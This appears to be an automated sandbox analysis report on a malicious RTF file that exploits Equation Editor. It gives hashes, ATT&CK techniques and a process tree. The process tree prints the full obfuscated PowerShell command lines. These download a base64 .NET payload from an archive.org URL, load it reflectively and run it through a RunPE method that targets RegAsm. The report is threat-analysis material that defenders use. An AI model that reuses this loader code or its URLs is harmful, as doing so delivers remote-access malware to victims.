24c3c8fc3a0420632056016cba54ad89e88b294ae3d3466b8727098fb74d5258

General

Target

nicepersonforeverybodylovethepersontogetmebackwithentirebeautifuldaysgivenmesuchagoodthingstounderst.rtf
Size

83KB
MD5

6584d78630c4842b775ead6ce3010211
SHA1

91b34cb911ffe4a2e8bdfd16a1411276de11e923
SHA256

24c3c8fc3a0420632056016cba54ad89e88b294ae3d3466b8727098fb74d5258
SHA512

93aa8779e4f27233620aeea38abd43d179c99d7e2aa5222d221d075835f903075d916e9726f42738fd2d18b8c24d610d54b69d0969ad5352b29a860ce585f06f
SSDEEP

768:AcmtHKW1Z3bNhsfbAYTDHrsaSHo1i9q/jud:Acm9BLjbOj1ig/6d

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
3	2652	EQNEDT32.EXE
6	2708	powershell.exe
7	2708	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2708	powershell.exe
2536	powershell.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EQNEDT32.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Launches Equation Editor 1 TTPs 1 IoCs

Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

exploit

Exploitation for Client Execution

T1203

pid	Process
2652	EQNEDT32.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2216	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2536	powershell.exe
2708	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2536	powershell.exe
Token: SeDebugPrivilege	2708	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2216	WINWORD.EXE
2216	WINWORD.EXE

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2652 wrote to memory of 2664	2652	EQNEDT32.EXE	31
PID 2652 wrote to memory of 2664	2652	EQNEDT32.EXE	31
PID 2652 wrote to memory of 2664	2652	EQNEDT32.EXE	31
PID 2652 wrote to memory of 2664	2652	EQNEDT32.EXE	31
PID 2664 wrote to memory of 2536	2664	WScript.exe	33
PID 2664 wrote to memory of 2536	2664	WScript.exe	33
PID 2664 wrote to memory of 2536	2664	WScript.exe	33
PID 2664 wrote to memory of 2536	2664	WScript.exe	33
PID 2536 wrote to memory of 2708	2536	powershell.exe	35
PID 2536 wrote to memory of 2708	2536	powershell.exe	35
PID 2536 wrote to memory of 2708	2536	powershell.exe	35
PID 2536 wrote to memory of 2708	2536	powershell.exe	35
PID 2216 wrote to memory of 756	2216	WINWORD.EXE	36
PID 2216 wrote to memory of 756	2216	WINWORD.EXE	36
PID 2216 wrote to memory of 756	2216	WINWORD.EXE	36
PID 2216 wrote to memory of 756	2216	WINWORD.EXE	36

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\nicepersonforeverybodylovethepersontogetmebackwithentirebeautifuldaysgivenmesuchagoodthingstounderst.rtf"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2216
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:756

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:2652
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\nicepersonontheworkforgetread.vBS"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2664
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJEVudjpDT21TUEVjWzQsMjQsMjVdLUpvaU4nJykoKCgneycrJzB9JysndXJsID0nKycgezEnKyd9aCcrJ3R0cHM6Ly9pJysnYTYwJysnMDEwJysnMC51Jysncy5hcicrJ2NoaXZlLm9yZycrJy8yNC9pdGUnKydtcycrJy9kZXRhaC1ub3RlLXYnKycvJysnRGV0JysnYWhObycrJ3RlVicrJy50eCcrJ3R7MScrJ307ezB9YmEnKydzJysnZTY0Q29udGVudCAnKyc9IChOJysnZXctT2JqJysnZScrJ2N0IFN5JysncycrJ3RlbScrJy5OJysnZXQuV2ViQ2xpZW4nKyd0KScrJy5EJysnb3cnKydubCcrJ28nKydhZFN0cicrJ2luJysnZyh7MH11cmwnKycpO3snKycwfWJpbmFyeUNvbicrJ3RlbnQgPSBbU3lzdGVtLkMnKydvbnZlJysncnRdOicrJzpGcm8nKydtJysnQmFzZTY0JysnU3RyaW5nJysnKHswJysnfWInKydhc2UnKyc2JysnNEMnKydvbnQnKydlJysnbnQpO3swfScrJ2EnKydzc2UnKydtYmx5ID0nKycgW1JlJysnZmxlYycrJ3QnKydpb24uJysnQXMnKydzJysnZW1ibHldOjpMb2EnKydkJysnKHsnKycwfWJpbmFyeUNvbnRlbnQpO3swfScrJ3R5cGUgPScrJyB7MH1hc3NlbWInKydseS4nKydHZXRUeXBlJysnKHsxJysnfVJ1blBFLkhvbWV7MX0pO3swfW1ldGgnKydvZCcrJyA9IHswJysnfScrJ3QnKyd5cGUnKycuR2V0TScrJ2V0JysnaG9kKHsxfVZBSXsxfSk7ezB9bWV0aCcrJ29kLicrJ0ludm9rZSh7MCcrJ31udScrJ2wnKydsLCBbJysnbycrJ2InKydqZScrJ2MnKyd0JysnWycrJ11dQCcrJygnKyd7MX0nKyd0eHQnKycuJysnQVRPJysnTUVSLycrJzA1NC8yNCcrJzEuJysnODknKycuNDMxJysnLicrJzE5Ly86cHR0aCcrJ3sxfScrJyAsIHsxfWRlc2F0JysnaXZhZG97MScrJ30gJysnLCB7MScrJ31kZScrJ3NhdCcrJ2l2JysnYWRvezF9ICwgezF9ZCcrJ2UnKydzJysnYXQnKydpdicrJ2Fkb3sxfScrJyx7MX1SZWdBc217MX0seycrJzEnKyd9JysnezF9KSknKSAtZltDSEFSXTM2LFtDSEFSXTM5KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2536
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $Env:COmSPEc[4,24,25]-JoiN'')((('{'+'0}'+'url ='+' {1'+'}h'+'ttps://i'+'a60'+'010'+'0.u'+'s.ar'+'chive.org'+'/24/ite'+'ms'+'/detah-note-v'+'/'+'Det'+'ahNo'+'teV'+'.tx'+'t{1'+'};{0}ba'+'s'+'e64Content '+'= (N'+'ew-Obj'+'e'+'ct Sy'+'s'+'tem'+'.N'+'et.WebClien'+'t)'+'.D'+'ow'+'nl'+'o'+'adStr'+'in'+'g({0}url'+');{'+'0}binaryCon'+'tent = [System.C'+'onve'+'rt]:'+':Fro'+'m'+'Base64'+'String'+'({0'+'}b'+'ase'+'6'+'4C'+'ont'+'e'+'nt);{0}'+'a'+'sse'+'mbly ='+' [Re'+'flec'+'t'+'ion.'+'As'+'s'+'embly]::Loa'+'d'+'({'+'0}binaryContent);{0}'+'type ='+' {0}assemb'+'ly.'+'GetType'+'({1'+'}RunPE.Home{1});{0}meth'+'od'+' = {0'+'}'+'t'+'ype'+'.GetM'+'et'+'hod({1}VAI{1});{0}meth'+'od.'+'Invoke({0'+'}nu'+'l'+'l, ['+'o'+'b'+'je'+'c'+'t'+'['+']]@'+'('+'{1}'+'txt'+'.'+'ATO'+'MER/'+'054/24'+'1.'+'89'+'.431'+'.'+'19//:ptth'+'{1}'+' , {1}desat'+'ivado{1'+'} '+', {1'+'}de'+'sat'+'iv'+'ado{1} , {1}d'+'e'+'s'+'at'+'iv'+'ado{1}'+',{1}RegAsm{1},{'+'1'+'}'+'{1}))') -f[CHAR]36,[CHAR]39) )"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2708

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Exploitation for Client Execution

1

T1203

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
949a7a915c4e2cb996e9dc2946ce735d

SHA1
8227d398f625ac5e7f8bc66a87ef73bcf07ce0c4

SHA256
3ece84fd53e9674513bf31220fe800c01434514b7676b7ad2b1aab11c8079cfb

SHA512
d5278290139875061eb9c2cff2de9c21f051cb5b297ecd91d352e0d2f55e877238f3d2a1fde46551bb8c3d19ffca0efeab074c1e7532f80bf9dbc3ef33015da9

Download Submit
C:\Users\Admin\AppData\Roaming\nicepersonontheworkforgetread.vBS

Filesize
207KB

MD5
73c5fd4481680b69e0ea300744e85e86

SHA1
42eda1ad2cd18b0a34451951728d76b90c9f07b6

SHA256
f193bfc26d4a4bf50276a27a873fd0f7941b10b6306ee515bf1f786dce2a4d76

SHA512
f905e540102e6bc414a24121d03a279642f5cc54b4db4ca60a2f808864121efdb7e38d6e6b73f42211c4b31493bcec215b2ee82eefcba30d70500221320ada10

Download Submit
memory/2216-0-0x000000002F591000-0x000000002F592000-memory.dmp

Filesize
4KB

Download
memory/2216-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2216-2-0x00000000717CD000-0x00000000717D8000-memory.dmp

Filesize
44KB

Download
memory/2216-19-0x00000000717CD000-0x00000000717D8000-memory.dmp

Filesize
44KB

Download

Analysis

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